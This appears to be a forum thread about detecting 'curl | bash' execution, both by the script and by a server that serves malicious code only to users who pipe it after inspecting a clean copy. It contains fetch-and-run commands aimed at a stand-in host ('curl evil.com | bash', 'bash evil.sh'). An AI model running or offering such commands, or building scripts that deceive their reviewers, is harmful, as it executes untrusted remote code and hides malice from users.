zlacker

You could just have the script detect that its stdin is a pipe. E.g., Linux specific:

  $ echo 'ls -l /proc/$$/fd/0' | bash
  lr-x------ 1 kaz kaz 64 Jul 28 21:03 /proc/23814/fd/0 -> pipe:[4307360]

Here, our script consists of the ls command; it shows that when we pipe it to bash, it finds fd0 to be a pipe.

We can make some code conditional on this to produce a "don't run this script from a pipe" diagnostic.

This is superior to the dodgy, delay-based server side detection because it is reliable.

Also, it still works when someone does this:

  $ curl <url> > file
  $ cat file | bash

Of course, no protection for

  $ bash file

>>kazina+(OP)
This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`

>>ericpa+y
If you downloaded the script to inspect it, why would you not just run the script that you downloaded?

>>nerdpo+X
Web browser.

>>nerdpo+X

    curl evil.com
    curl evil.com | bash

>>nerdpo+X
That's the point. It's also possible that the remote script has been altered in the meantime. Therefore it's never advisable to download the script again after inspection.

>>nerdpo+X
There's more than one user. You don't want any of them to find the malicious code.

>>chmod7+t6

    wget evil.com
    less evil.sh
    bash evil.sh